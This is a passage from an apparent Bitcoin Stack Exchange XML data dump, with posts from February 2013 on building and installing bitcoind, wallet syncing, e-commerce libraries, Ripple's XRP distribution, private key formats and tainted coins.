  <row Id="7946" PostTypeId="2" ParentId="7940" CreationDate="2013-02-25T22:04:00.793" Score="0" Body="&lt;p&gt;You'll need to install these libraries:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;libssl - provided by &lt;code&gt;openssl&lt;/code&gt; in Fedora&lt;/li&gt;&#xA;&lt;li&gt;libboost - called &lt;code&gt;boost&lt;/code&gt; in Fedora&lt;/li&gt;&#xA;&lt;li&gt;libdb4.8 - called &lt;code&gt;db4.8&lt;/code&gt; in Fedora&lt;/li&gt;&#xA;&lt;li&gt;miniupnpc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm not able to test this at the moment, but try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;yum install openssl boost db4.8 miniupnpc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once those are installed, and their src or dev packages may be necessary, you can do the actual build itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd src/&#xA;make -f makefile.unix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also requires openssl-devel&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2013-04-08T18:10:40.983" LastActivityDate="2013-04-08T18:10:40.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7947" PostTypeId="2" ParentId="7942" CreationDate="2013-02-25T22:15:42.900" Score="4" Body="&lt;p&gt;Bitcoin New transactions can be discovered by polling using the listsinceblock API command with the Bitcoin.org client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beginning with v0.8.2 of the Bitcoin-Qt/bitcoind client is -walletnotify option that can run a process when a transaction that affects the wallet is seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The BitsOfProof supernode will offer this as well I believe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update: Thanks to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8133/153&quot;&gt;Pelle's answer&lt;/a&gt; to a related question,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this using BitcoinJ by implementing the &lt;a href=&quot;http://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/core/PeerEventListener.java&quot; rel=&quot;nofollow noreferrer&quot;&gt;PeerEventListener&lt;/a&gt; interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/core/PeerEventListener.java#74&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnTransaction&lt;/a&gt; will be called every time a new Transaction is broadcast out and received from a Peer ]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-05-28T14:31:01.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7948" PostTypeId="1" CreationDate="2013-02-25T23:03:22.333" Score="1" ViewCount="403" Body="&lt;p&gt;I purchased some BitCoins last night.  I downloaded the BitCoin client around a year ago but and only had it open once or twice for just a short time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of that, my wallet is still synchronizing and looks like it will continue doing so for quite some time.  lol&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needless to say, my wallet is still at zero...  Did I screw myself over by transferring coins before my wallet ever initially synced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was a small, small amount thankfully, just to try it out (as I said, I'm a newbie).  :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2013-03-27T23:59:40.650" Title="New to BitCoin - Purchased Coins but they haven't shown up in my wallet yet - Wallet still syncing" Tags="|wallet|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7950" PostTypeId="2" ParentId="7948" CreationDate="2013-02-25T23:05:26.730" Score="1" Body="&lt;p&gt;Just wait for your wallet to synchronize.  It won't show up in your wallet until you have the block that contains the transaction, which would be a very recent block.&lt;/p&gt;&#xA;" OwnerUserId="3043" LastActivityDate="2013-02-25T23:05:26.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7951" PostTypeId="1" AcceptedAnswerId="7959" CreationDate="2013-02-25T23:49:59.160" Score="1" ViewCount="224" Body="&lt;p&gt;We are developing some automated payment functions for Bitcoin. We want to automate transactions via a backend server setup; what libraries would be best suited?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found two libraries so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Java has BitcoinJ&lt;/li&gt;&#xA;&lt;li&gt;C++ has bitcoin-qt &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Would a thin or selfish client suffice ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do they support QR codes ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I would prefer a Java over C++ coming from a C# background.&lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="2306" LastEditDate="2013-02-26T00:25:16.223" LastActivityDate="2013-02-28T01:11:58.717" Title="What libraries should I use for E-Commerce" Tags="|transactions|wallet|client|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7952" PostTypeId="2" ParentId="4911" CreationDate="2013-02-25T23:53:35.750" Score="1" Body="&lt;p&gt;Travis Batterson recently wrote a book called &lt;em&gt;Bitcoin: A Basic Explanation of Everything&lt;/em&gt;. I know it's available on Kindle &lt;a href=&quot;https://sites.google.com/site/travisbatterson/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and you can order physical copies on the website &lt;a href=&quot;http://basicbitcoin.com&quot; rel=&quot;nofollow&quot;&gt;basicbitcoin.com&lt;/a&gt;. The book gives a good cover of all things Bitcoin and for what it's worth isn't bad.&lt;/p&gt;&#xA;" OwnerUserId="3079" LastActivityDate="2013-02-25T23:53:35.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7953" PostTypeId="2" ParentId="7626" CreationDate="2013-02-26T00:45:28.793" Score="1" Body="&lt;p&gt;Technically XRPs have no counter-party risk as long as no single entity (including OpenCoin, Inc) does not have enough of them to corner the market.  Perhaps a better name for this would be Systemic Risk ? &lt;/p&gt;&#xA;" OwnerUserId="1380" LastEditorUserId="1380" LastEditDate="2013-02-26T01:22:49.743" LastActivityDate="2013-02-26T01:22:49.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7954" PostTypeId="1" AcceptedAnswerId="7957" CreationDate="2013-02-26T06:54:58.893" Score="3" ViewCount="6093" Body="&lt;p&gt;The Ripple system is really interesting, but on one point I can't help thinking part of it is a great scheme to make the founders (and OpenCoin) ridiculously rich. The reason that makes me wonder is that 100 billion XRP were initially created, and of these 20 billion are kept by the founders and 80 billion were given to OpenCoin (&lt;a href=&quot;https://ripple.com/wiki/XRP&quot; rel=&quot;nofollow&quot;&gt;from their wiki&lt;/a&gt;). OpenCoin plans to give away some XRP, and sell some XRP, but it's not clear in what proportions or how much. No new XRP will ever be created, and the value of XRP will increase gradually as more people demand it for transactions (and XRP is the native currency of Ripple and will be the most convenient transaction medium inside Ripple). XRP also have intrinsic value in that they are strictly necessary to perform transactions, and because XRP used for transactions are destroyed the total amount of XRP in the system will decrease steadily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we have a system where the founders and OpenCoin have control over almost all purchasing power. Moreover, because of this, they can keep exchange rates of XRP as high as they like by keeping supply low. If Ripple would take off and be widely adopted, the founders and OpenCoin would get unimaginably rich because of the big shares in the fiat currency they created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes me think of the famous quote: &quot;Give me control over a nation's currency and I care not who makes its laws.&quot; It doesn't apply in full because the founders and OpenCoin won't create more currency, but owning all currency from the beginning will have the same effect over the foreseeable future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is this nothing more than a smart fraud that's incredibly big in scope? Are there any indications that the supply of XRP will get some kind of fair distribution?&lt;/p&gt;&#xA;" OwnerUserId="3080" LastEditorUserId="3080" LastEditDate="2013-02-26T07:02:01.077" LastActivityDate="2013-05-07T04:58:58.773" Title="Is the otherwise promising Ripple set to become a great currency fraud?" Tags="|ripple|" AnswerCount="3" CommentCount="6" ClosedDate="2013-04-22T16:42:59.763" ContentLicense="CC BY-SA 3.0" />
  <row Id="7957" PostTypeId="2" ParentId="7954" CreationDate="2013-02-26T09:35:59.190" Score="11" Body="&lt;p&gt;Opencoin plans to give away 50 billion XRP. It is actually in Opencoin's best interest to make this distribution as wide as possible as the system will only be successful if it can gain a critical mass of users. Giving away enough XRP to keep the system as cheap as possible for as many people as possible for as long as possible is the only strategy they believe will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of people have suggested possible nefarious schemes and conspiracy theories around Ripple. But you have to remember, if the Ripple payment network doesn't become popular, nothing else matters. It is simply a better strategy to give away lots of XRP as fairly as possible to drive adoption. Not to mention, not doing what they said they would do would reduce confidence in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Billions of XRP will be distributed as widely as possible. The system will be fully open source. There will be no central authorities. That's what's in the founder's best interests, that's what's in Opencoin's best interests, that's what Ripple was designed to be, and that's what Opencoin intends to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The founders get 20 billion XRP. OpenCoin gets 80 billion XRP -- 50 billion of which can be given away to promote widespread adoption. That's the deal that was struck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'm an employee of Opencoin and one of the architects of the Ripple payment system. I am speaking only for myself.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-05-07T04:58:58.773" LastActivityDate="2013-05-07T04:58:58.773" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="7958" PostTypeId="2" ParentId="7299" CreationDate="2013-02-26T10:09:20.417" Score="12" Body="&lt;p&gt;From a cryptographic point of view, there is just one type of private keys and one type of public keys. A private key is an integer in the range 1 to 115792089210356248762697446949407573529996955224135760342422259061068512044368, a public key is a point on the elliptic curve secp256k1. No magic here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that Bitcoin uses addresses, and addresses are derived from the hash of a public key. As you cannot take a hash of the mathematical concept of a &quot;point&quot;, it needs to be converted to a byte sequence first. The standard Bitcoin follows, however defines two ways of converting a public key to a byte sequence: a normal one (resulting in 65 bytes) or a compressed one (resulting in 33 bytes). There is no reason to use the normal one, except of course compatibility. As the resulting byte sequence is different in both encodings, the address will be different as well. If coins were sent to one address, the public key encoding that exactly matches it needs to be used to spend them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, in order to support both, we must remember for each public/private keypair whether the normal or compressed encoding is to be used. As you point out, we also need this information when importing a private key. To do so, the &quot;Wallet Import Format&quot; for private keys (the base58 form, typically starting with a '5'), was extended. If the public key/address for a particular private key are to be derived from the compressed encoding of the &lt;em&gt;public&lt;/em&gt; key, the &lt;em&gt;private&lt;/em&gt; key gets an extra 0x01 byte at the end, resulting in a base58 form that starts with 'K' or 'L'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question: when importing a private key into the reference client, it will use the normal encoding for public keys if the '5' format was used for the private key, and the compressed encoding if the 'K'/'L' format was used. It doesn't make sense to try to convert one to the other: the client must use the same encoding as was used when generating the address, or the address won't match. Unfortunately, quite a lot of software doesn't support compressed public keys yet (which is a pity, as they save block chain space).&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2013-02-26T10:15:04.517" LastActivityDate="2013-02-26T10:15:04.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7959" PostTypeId="2" ParentId="7951" CreationDate="2013-02-26T10:19:06.893" Score="0" Body="&lt;p&gt;BitcoinJ is fully featured and recently updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also BitcoinSharp if you are from a c# background. This is a direct port of BitcoinJ (it   may be slightly out of date as a new BitcoinJ has been released recently).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as im aware it does not support native QR codes but &lt;a href=&quot;https://btc.to/&quot; rel=&quot;nofollow&quot;&gt;https://btc.to/&lt;/a&gt; has a http request which can generate QR codes (&lt;a href=&quot;https://btc.to/1PeizMg76Cf96nUQrYg8xuoZWLQozU5zGW/qr&quot; rel=&quot;nofollow&quot;&gt;https://btc.to/1PeizMg76Cf96nUQrYg8xuoZWLQozU5zGW/qr&lt;/a&gt;) if you dont want to use your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A thin or selfish client may be suitable it really depends on what your application is, your confidence in the network and risk involved with your application in general. &lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-02-26T10:19:06.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7960" PostTypeId="1" CreationDate="2013-02-26T10:50:14.800" Score="2" ViewCount="179" Body="&lt;p&gt;How to use bitcoin api in my code  or how i integrate it with my code ?&#xA;it required any charge ?&lt;/p&gt;&#xA;" OwnerUserId="3083" LastActivityDate="2013-02-26T12:00:10.173" Title="How i use bit coin api with my project?" Tags="|client|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7961" PostTypeId="1" CreationDate="2013-02-26T11:02:06.827" Score="5" ViewCount="255" Body="&lt;p&gt;Say I already lent &lt;code&gt;EUR 100.00&lt;/code&gt; to a friend, in cash, quite informally. Can I use Ripple to keep track of it? If so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I need to get him sign up at ripple.com (or get another Ripple client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I grant him &lt;code&gt;&amp;gt; EUR 100.00&lt;/code&gt; trust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then he can just &quot;send me&quot; &lt;code&gt;EUR 100.00&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that all? Or is there anything more to it? Does my friend need trust from anybody else in Ripple in order to be able to do that?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2022-01-19T15:00:56.377" Title="Can I use Ripple to keep track of loans to friends?" Tags="|ripple|cash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7962" PostTypeId="2" ParentId="7960" CreationDate="2013-02-26T12:00:10.173" Score="2" Body="&lt;p&gt;In order to use the Bitcoin API, you need to either run bitcoind, or run Bitcoin QT with a &lt;code&gt;server&lt;/code&gt; parameter and also having RPC username and password set (&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;in bitcoin.conf file&lt;/a&gt;). After that, you communicate with it over JSON RPC at port 8332 (by default).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-26T12:00:10.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7963" PostTypeId="2" ParentId="7932" CreationDate="2013-02-26T12:03:34.630" Score="1" Body="&lt;p&gt;As it turns out, the import did not pick up all my addresses/keys. By comparing the output from &lt;code&gt;pywallet --dumpwallet&lt;/code&gt; and the blockchain.info exports I was able to identify the missing keys and add them manually. Both balances match now :-)&lt;/p&gt;&#xA;" OwnerUserId="3071" LastActivityDate="2013-02-26T12:03:34.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7964" PostTypeId="2" ParentId="7961" CreationDate="2013-02-26T12:19:45.647" Score="7" Body="&lt;p&gt;Yes, Ripple is created precisely for such purposes. Both you and your friends need some small balance in ripple first to &quot;activate&quot; your accounts. After that, you need to grant your friend trust for at least the amount he will owe you, and then he needs to send you money. After that, you will see a net positive amount on your account, and they will see a net negative amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't trust your friend with the money but you are connected through a web of trust, there is still a possibility of them sending you money. The transaction will appear from them, but your balance will show some other friend owes you money, and in part your borrower will owe them money.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-26T12:19:45.647" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="7965" PostTypeId="1" AcceptedAnswerId="7969" CreationDate="2013-02-26T13:01:28.563" Score="10" ViewCount="219" Body="&lt;p&gt;Ripple allows us to encode how much we trust each person. For example, I can trust A with $10K and B with $10K, and will then accept IOUs of up to $10K from each as valid dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the real world, this does not mean I would trust them both with $10K &lt;em&gt;at the same time&lt;/em&gt;. Perhaps the risk associated with A and B is highly correlated, or perhaps I just don't want to risk $20K of my money with others. For example, I could trust A and B together with $15K. So if I already have a $10K IOU from A, I will only accept up to $5K IOU from B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, I can see myself trusting 10 different people with $10K, but certainly not trusting them all together with $100K.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Ripple allow encoding correlated trust relationships, or at least a specification of &quot;total&quot; trust? For example, I could define some trust relationships, including $10K to A; and I will further define that my total trust is $50K. If I hold $20K IOUs from others, I will automatically only accept up to $6K from A. ($10K * (1 - $20K / $50K))&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-02-26T15:20:38.487" Title="Does Ripple support subadditive trust?" Tags="|ripple|iou|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7966" PostTypeId="1" CreationDate="2013-02-26T14:19:49.133" Score="33" ViewCount="14244" Body="&lt;p&gt;I've come across the term of a tainted coin several times now.&#xA;I understand that coins, or better, the origin of a coin can be traced throughout the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read that bitcoins can be disassociated from an address, by sending it to a sufficiently large enough wallet which handles many transactions, thus making a transactions origin &quot;untraceable&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This collides with my understanding of the blockchain, where each transaction can be tracked back to its origin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does the concept of a tainted coin mean in this context and how can a coins taint be measured?&lt;/p&gt;&#xA;" OwnerUserId="3085" LastEditorUserId="5406" LastEditDate="2016-09-15T20:59:47.547" LastActivityDate="2021-10-06T11:53:49.340" Title="What are tainted coins exactly?" Tags="|privacy|terminology|money-laundering|taint-analysis|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7967" PostTypeId="2" ParentId="7966" CreationDate="2013-02-26T15:15:43.173" Score="10" Body="&lt;p&gt;When you send coins to a large shared wallet, chances are that the coins you withdraw won't be the same as the ones you deposited. That's how you can sever the taint trail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key is that the wallet must not only be large, but also shared between a lot of users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The taint on the original coins would never go away but could be diluted by mixing them with &quot;clean&quot; coins. For example, if you sent two coins, one tainted, one clean in the same transaction they would &quot;mix&quot; together and both would have 50% taint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concept of &quot;mixing&quot; has therefore two different meanings : swapping tainted coins for clean ones and mixing tainted coins with clean ones in order to &quot;dilute&quot; the taint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that the &quot;taint&quot; is always relative to some origin, it's not something absolute.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-02-26T15:15:43.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7968" PostTypeId="2" ParentId="7966" CreationDate="2013-02-26T15:15:53.843" Score="18" Body="&lt;p&gt;You can trace the coin back to its origin, the question is whether that information is meaningful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I steal 50 bitcoin. I can pass them around between several different Bitcoin accounts, all mine, and you can trace them. The problem is, you don't know whether any of those transactions are real.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say Jack has 50 bitcoins that come from a block reward and are untainted. Now, say Jack and I both deposit our 50 bitcoins in a web-based wallet. And say Jack withdraws his 50 bitcoins from that web-based wallet and he gets my 50 bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jack now has 50 bitcoins that you can trace to a theft and are therefore tainted. But Jack has done nothing wrong and it doesn't do any good to be able to track his bitcoins because I, the bad guy, now have untainted bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2016-06-01T23:53:08.183" LastActivityDate="2016-06-01T23:53:08.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7969" PostTypeId="2" ParentId="7965" CreationDate="2013-02-26T15:20:38.487" Score="6" Body="&lt;p&gt;Ripple doesn't support anything like this directly. You could get the effect if you really needed it though. Simply create a new account and extend the amount of total trust you want to that new account. Then have the new account extend the individual trust to each of the other accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will mean that people paying you with IOUs from any of the accounts in the group will have to ripple their payments through the new account you created because you won't accept those IOUs directly. You will wind up with IOUs from the new account regardless of which IOUs from the group they try to pay you with and your new account will hold the real IOUs. So the credit you extend to the new account will limit the total amount of IOUs from that group you can hold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you make an outbound payment, you'll go through the new account and reverse the process, trading in the IOUs from the new account for the &quot;real&quot; IOUs.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-26T15:20:38.487" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7970" PostTypeId="1" CreationDate="2013-02-26T16:14:11.757" Score="4" ViewCount="570" Body="&lt;p&gt;Suppose I modify the requirements of the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5953/1878&quot;&gt;Inheritance Scripting Sample&lt;/a&gt; where I need to make sure that the prior BTC is &quot;guaranteed&quot; to be available and not reduced or re-spent prior to either of the preceding events:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The 18th birthday arrives&lt;/li&gt;&#xA;&lt;li&gt;The oracle verifies that the man is dead&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With the additional requirement that the Oracle can't hold the transaction hostage for a ransom (since it would know how much is due to the payee), is there any way to use scripting to cover the condition that the previous funds can't be respent?  How can this be done?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-06-23T17:42:46.177" Title="How can a Bitcoin Oracle ensure that the money can't be respent?" Tags="|script|oracle|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7971" PostTypeId="1" CreationDate="2013-02-26T16:41:33.500" Score="3" ViewCount="169" Body="&lt;p&gt;Suppose a business wants to get into the OTC Bitcoin business. It will need to comply with AML laws. It is acceptable / encouraged for such a business to ask for photo ID and keep a photocopy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this same principle apply to individual users?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="37414" LastEditDate="2018-05-01T19:51:41.527" LastActivityDate="2018-05-01T19:51:41.527" Title="Is it acceptable / encouraged to ask for ID and keep a photocopy for OTC Bitcoin transactions?" Tags="|legal|buy-bitcoins|sell-bitcoins|otc|aml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7972" PostTypeId="1" CreationDate="2013-02-26T17:11:32.150" Score="3" ViewCount="1483" Body="&lt;p&gt;The &lt;a href=&quot;http://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;blockchain.info API&lt;/a&gt; allows for querying information about a particular Transaction by its ID. But if you want to follow the coins to the next transaction, I'm not seeing what the next query should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each &quot;out&quot; of the transaction has an address associated with it, and you can query for details about a address' recent transactions. But if you're exploring deep in the past, the most recent 50 transactions for a given address won't have the spend for that particular &quot;out&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there another API out there that allows you to query Transaction details based on &quot;has transaction &lt;strong&gt;N&lt;/strong&gt; as an 'in'&quot;? Or do I need to go through the blockchain and make my own cache?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Blockchain.info clearly has the link to the transaction that spends a given output in their database, since the HTML view of a transaction now has &quot;spent&quot; tags after outputs that have been spent, which are links to the next transaction. However, that particular bit of data is not in the API view of the same transaction.&lt;/p&gt;&#xA;" OwnerUserId="1698" LastEditorUserId="2306" LastEditDate="2014-11-18T15:46:06.167" LastActivityDate="2024-04-03T20:05:25.613" Title="Get transaction that spent a transaction id" Tags="|transactions|api|blockchain.info|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7973" PostTypeId="1" CreationDate="2013-02-26T19:45:27.650" Score="4" ViewCount="879" Body="&lt;p&gt;I wonder if it's safe to use JavaScript generator available at bitaddress.org.&#xA;Even if I'll generate it offline, how can I know if the algorithm is not using any pre-computed / pre-planned way of generating the addresses? &lt;/p&gt;&#xA;" OwnerUserId="3091" LastActivityDate="2019-12-12T08:16:31.540" Title="Is JavaScript wallet generator available at bitaddress.org relatively secure?" Tags="|wallet|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7974" PostTypeId="1" CreationDate="2013-02-26T20:15:56.013" Score="2" ViewCount="745" Body="&lt;p&gt;I am trying to setup a private test net with the source at:&#xA;&lt;a href=&quot;https://github.com/freewil/bitcoin-testnet-box&quot; rel=&quot;nofollow&quot;&gt;https://github.com/freewil/bitcoin-testnet-box&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it requires bitcoind 0.7.2 (the latest version is 0.8.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried installing 0.7.2 with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.7.2/bitcoin-0.7.2-linux.tar.gz/download&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but then get the following errors when I install:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo dpkg -i bitcoind_0.7.2-3_amd64.deb &#xA;&#xA;Selecting previously unselected package bitcoind.&#xA;(Reading database ... 65728 files and directories currently installed.)&#xA;Unpacking bitcoind (from bitcoind_0.7.2-3_amd64.deb) ...&#xA;dpkg: dependency problems prevent configuration of bitcoind:&#xA; bitcoind depends on libboost-filesystem1.49.0 (&amp;gt;= 1.49.0-1); however:&#xA;  Package libboost-filesystem1.49.0 is not installed.&#xA; bitcoind depends on libboost-program-options1.49.0 (&amp;gt;= 1.49.0-1); however:&#xA;  Package libboost-program-options1.49.0 is not installed.&#xA; bitcoind depends on libboost-system1.49.0 (&amp;gt;= 1.49.0-1); however:&#xA;  Package libboost-system1.49.0 is not installed.&#xA; bitcoind depends on libboost-thread1.49.0 (&amp;gt;= 1.49.0-1); however:&#xA;  Package libboost-thread1.49.0 is not installed.&#xA; bitcoind depends on libdb5.1++; however:&#xA;  Package libdb5.1++ is not installed.&#xA;dpkg: error processing bitcoind (--install):&#xA; dependency problems - leaving unconfigured&#xA;Processing triggers for man-db ...&#xA;Errors were encountered while processing:&#xA; bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Following with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get -f install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still gives these errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dpkg: dependency problems prevent configuration of bitcoind:&#xA; bitcoind depends on libboost-filesystem1.49.0 (&amp;gt;= 1.49.0-1); however:&#xA;  Package libboost-filesystem1.49.0 is not installed.&#xA; bitcoind depends on libboost-program-options1.49.0 (&amp;gt;= 1.49.0-1); however:&#xA;  Package libboost-program-options1.49.0 is not installed.&#xA; bitcoind depends on libboost-system1.49.0 (&amp;gt;= 1.49.0-1); however:&#xA;  Package libboost-system1.49.0 is not installed.&#xA; bitcoind depends on libboost-thread1.49.0 (&amp;gt;= 1.49.0-1); however:&#xA;  Package libboost-thread1.49.0 is not installed.&#xA; bitcoind depends on libdb5.1++; however:&#xA;  Package libdb5.1++ is not installed.&#xA;dpkg: error processing bitcoind (--configure):&#xA; dependency problems - leaving unconfigured&#xA;No apport report written because MaxReports is reached already&#xA;                                                              Errors were encountered while processing:&#xA; bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't seem to figure out how to install these packages with apt-get even though they are listed here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://packages.ubuntu.com/quantal-updates/libboost-filesystem1.49.0&quot; rel=&quot;nofollow&quot;&gt;http://packages.ubuntu.com/quantal-updates/libboost-filesystem1.49.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: This may be of help, though I haven't gotten it completely working yet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://askubuntu.com/questions/168053/how-to-install-all-the-boost-development-libraries&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3008" LastEditorUserId="3008" LastEditDate="2013-02-26T22:22:30.803" LastActivityDate="2013-02-26T22:22:30.803" Title="How to Install bitcoind 0.7.2 Server on Ubuntu for bitcoin-testnet-box" 